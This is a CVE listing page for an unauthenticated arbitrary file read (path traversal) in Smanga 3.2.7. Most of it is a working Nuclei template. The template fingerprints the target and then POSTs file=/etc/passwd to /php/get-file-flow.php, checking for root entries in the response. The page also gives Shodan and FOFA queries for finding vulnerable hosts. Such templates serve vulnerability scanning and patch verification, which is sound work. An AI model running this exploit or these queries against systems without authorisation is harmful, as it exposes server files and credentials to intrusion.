CVE-2024-34193: Smanga 3.2.7 - Arbitrary File Read

2026-11-29 PoC Public

Description

Smanga 3.2.7 contains a path traversal caused by unsanitized 'file' parameter in PHP/get file flow.php, letting attackers read arbitrary files, exploit requires no authentication.

Details

CVE
CVE-2024-34193 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2024-34193

info:
  name: Smanga 3.2.7 - Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
    Smanga 3.2.7 contains a path traversal caused by unsanitized 'file' parameter in PHP/get file flow.php, letting attackers read arbitrary files, exploit requires no authentication.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version where the parameter is properly sanitized or implement input validation.
  reference:
    - https://github.com/vulreport3r/cve-reports/blob/main/Smanga_has_an_arbitrary_file_read_vulnerability/report.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34193
    - https://github.com/lkw199711/smanga
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-34193
    epss-score: 0.02455
    epss-percentile: 0.85145
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: lkw199711
    product: smanga
    shodan-query: http.html:"We're sorry but smanga"
    fofa-query: body="We're sorry but smanga"
  tags: cve,cve2024,smanga,lfi,file-read,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "smanga")'
        condition: and
        internal: true

  - raw:
      - |
        POST /php/get-file-flow.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        file=/etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100edce7ad9fa7d6776223ab8c142bc1848104ee2a61a3def093374d23792aab1fc0220134a2e26a875090c075b9e58ea1a02902e12bb3a3ea96f5029c596a7c8ea5b8c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life